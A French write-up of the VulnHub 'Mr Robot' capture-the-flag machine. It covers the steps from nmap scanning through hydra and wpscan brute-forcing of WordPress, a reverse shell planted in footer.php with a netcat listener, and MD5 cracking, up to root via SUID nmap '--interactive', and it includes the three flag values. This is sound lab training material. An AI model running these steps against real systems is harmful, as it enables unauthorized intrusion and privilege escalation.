Mr Robot - Write Up
Reconnaissance
nmap -sS -A 192.168.43.193 80/tcp open http Apache httpd 443/tcp open ssl/http Apache httpd
Exploitation Web
Sur le port 80 :
Dans le fichier : http://192.168.43.193/readme.html
On peut lire : WordPress version 4.3.9
Un Phpmyadmin est aussi disponible sur le site mais uniquement accessible en local.
Dans le fichier robots.txt
User-agent: * fsocity.dic key-1-of-3.txt
Dans le fichier key-1-of-3.txt
073403c8a58a1f80d943455fb30724b9
On récupère le fichier fsocity.dic qui est un dictionnaire de mot de passe.
La page http://192.168.43.193/wp-login.php nous permet de nous authentifié sur le back office de wordpress.
Après quelques tentatives de nom d'utilisateurs on en trouve un valide :
On bruteforce l'authentification du wp-login avec le dictionnaire trouvé précédemment :
hydra -l elliot -P fsocity.dic 192.168.43.193 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location"
ou encore :
./wpscan.rb --url 192.168.43.87 --wordlist /home/ark1nar/vulnhub/mr_robot/fsocity.dic --username elliot
On se connecte avec les identifiants.
On va ensuite mettre en place notre reverse shell dans le footer.php
On ouvre un netcat en écoute sur notre machine :
nc -lvp 1234
Pour déclencher notre reverse shell il faut aller sur n'importe qu'elle page qui contient le fichier footer.php.
Par exemple :
http://192.168.43.193/toto.php
Pour obtenir le pty :
python -c 'import pty;pty.spawn("/bin/bash")'
Exploitation système && Élévation de privilège
On identifie la version du noyau linux et celle du système :
daemon@linux:/home/robot$ uname -a uname -a Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux daemon@linux:/home/robot$ lsb_release -a lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.2 LTS Release: 14.04 Codename: trusty
Dans le /home/robot/
un fichier : password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
On casse le hash sur https://crackstation.net
On peut se connecter avec l'utilisateur et le mot de passe trouvé précédemment.
On affiche la deuxième clé :
robot@linux:~$ cat key-2-of-3.txt 822c73956184f694993bede3eb39f959
On cherche tous les exécutables que l'on peut exécuter et qui ont des droits root :
find / -user root -perm -4000 -print 2>/dev/null /bin/ping /bin/umount /bin/mount /bin/ping6 /bin/su /usr/bin/passwd /usr/bin/newgrp /usr/bin/chsh /usr/bin/chfn /usr/bin/gpasswd /usr/bin/sudo /usr/local/bin/nmap /usr/lib/openssh/ssh-keysign /usr/lib/eject/dmcrypt-get-device /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper /usr/lib/pt_chown
Nous allons exploiter : /usr/local/bin/nmap
nmap --interactive nmap> !sh nmap> id => root
On affiche la troisième clé :
cat /root/key-3-of-3.txt 04787ddef27c3dee1ee161b21670b4e4
Merci à l'auteur de la machine.